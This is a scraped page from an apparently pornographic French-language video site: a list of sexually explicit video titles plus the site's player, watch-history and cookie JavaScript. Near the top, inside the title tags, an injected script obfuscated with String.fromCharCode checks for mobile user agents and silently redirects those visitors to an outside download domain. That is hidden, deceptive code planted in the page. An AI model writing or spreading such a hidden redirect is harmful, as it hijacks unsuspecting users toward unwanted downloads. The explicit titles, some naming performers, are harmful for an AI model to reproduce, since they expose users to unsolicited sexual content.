Vidéos recommandées
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Déesse de premier plan d'un groupe de K-pop ! Seins énormes, chatte de salope, corps explosif, brutalement baisée et éjaculée dessus.</title></script></title></script></title>
Déesse de premier plan d'un groupe de K-pop ! Seins énormes, chatte de salope, corps explosif, brutalement baisée et éjaculée dessus.","lastmod":"2026-07-11","duration":"","url":"/play/19244810.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmNkNDJhNDI2MjQ5NDdlNTkzMTVhYzExMjYxNDIwZDYuanBn.cache","vod_id":19091851,"title":"LZDM-048 Une technologie incroyable rend les hétéros fous avec ses poitrines généreuses. Fesses magnifiques d'automne lesbien. Kasumi, Tsukino Nanako, Miyamura.","lastmod":"2025-03-29","duration":"02:25:02","url":"/play/19091851.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzA5ZTk3ODlmNmI5OGY2ZmFhMTE3ZjgyOTNhNmNlOTMuanBn.cache","vod_id":19089759,"title":"[Sous-titres chinois] BOBB-364 Des seins doux et moelleux, bonnet I ! La texture douce et tendre de ses seins et tétons clairs est explorée avec soin !","lastmod":"2025-03-29","duration":"02:05:20","url":"/play/19089759.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDkxYzUzYzJmYjY2MzZkNzI3Y2EwZTgxZDk2NzdjMzkuanBn.cache","vod_id":19055121,"title":"Belle-sœur de premier ordre_Sexe_20201218","lastmod":"2025-03-28","duration":"","url":"/play/19055121.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2Y3YjlmYjExY2M4MWRiMzVjNjhjYzUwZWU1NjU5NzUuanBn.cache","vod_id":19215242,"title":"RAS-0253 Le coffret cadeau royal chinois super excitant « Sexe en voiture ultime avec Yan'er », bain moussant pour une première fois,","lastmod":"2026-02-02","duration":"0:29:28","url":"/play/19215242.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODJmMzExZDkyNzZkOWVmZGVlZTU2MzM1MzRmYWJlMTUuanBn.cache","vod_id":19072119,"title":"CESD-494 Une femme mûre qui apprécie le sexe anal atteint un véritable orgasme grâce à cette pratique - Nao Hamasaki","lastmod":"2025-03-28","duration":"02:37:44","url":"/play/19072119.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZTJmMTQzNWUwOGU4Yjg5ZjIyN2YzZTA2NDE4ODEwZGUuanBn.cache","vod_id":19238739,"title":"Twistys Mia Markova, le sextoy ultime, pratique une fellation profonde et avale sauvagement un énorme pénis pour une éjaculation interne.","lastmod":"2026-06-03","duration":"0:35:11","url":"/play/19238739.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2FiYjUzMWEzZDMwOGQxZTM5NzY4ZjMzZmRjYTk2ZjEuanBn.cache","vod_id":19218055,"title":"Quelle beauté incroyable ! Ses énormes seins se balancent dans son haut dos nu, et elle se livre à un spectacle de masturbation avec accessoires dans une chambre payante, projetant des flots de fluide vaginal !","lastmod":"2026-02-16","duration":"2:16:19","url":"/play/19218055.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjNkOGE2MzBlY2Y1M2Q3ZThmNDA1YmI5NDM2YzI4NjEuanBn.cache","vod_id":19055153,"title":"[Pavillon de la Chine] Jiang Shuying, mannequin de premier plan aux seins généreux (bonnet F) en bas noirs, sosie de Paris, est présentée dans une scène de dévoilement parfait de son visage, incluant une éjaculation faciale et une fellation.","lastmod":"2025-03-28","duration":"","url":"/play/19055153.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDE4ODM0NGQ3ZjdkODg2Y2YyMDU1N2UyOTljNTI4ZDkuanBn.cache","vod_id":19154536,"title":"[Déesses de premier ordre] Jouets pour les riches ! Six filles superbes et de jeunes mannequins de haut niveau","lastmod":"2025-03-29","duration":"12:03","url":"/play/19154536.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTc3MTkxOTFlMmFjNzBjZGFlM2VhMDZjNGNlMjVhNDEuanBn.cache","vod_id":19065664,"title":"Un peu ronde, c'est le top : à la fois mignonne et sexy, une tigresse blanche sans poils, le visage exposé en permanence et les gros seins dressés, un gros taureau noir qui joue avec son vagin et la fait jouir et gicler sans cesse, gémissant et grognant, et recueillant son jus avec ses mains pour le boire.","lastmod":"2025-03-28","duration":"00:39:39","url":"/play/19065664.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTQ1NDcxMzY2YjVjYjFjYWYyOTZlYTY3Njk1MzEzNWIuanBn.cache","vod_id":19066616,"title":"✿Silhouette parfaite✿ Corps de rêve à neuf têtes, hanches de rêve, jambes interminables, déesse du yoga▌bibicouple ▌La Belle au bois dormant, sans relâche, taille de chien, pénétration vigoureuse, éjaculation sensuelle des hanches de rêve","lastmod":"2025-03-28","duration":"00:19:02","url":"/play/19066616.html"}]},
videoTitle: 'MLMM-027 Ayame Ichinose, une beauté mûre et exquise, déesse aux seins généreux pendant 4 heures',
language: 'fr',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Lien copié !');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Lien copié !');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}
友情链接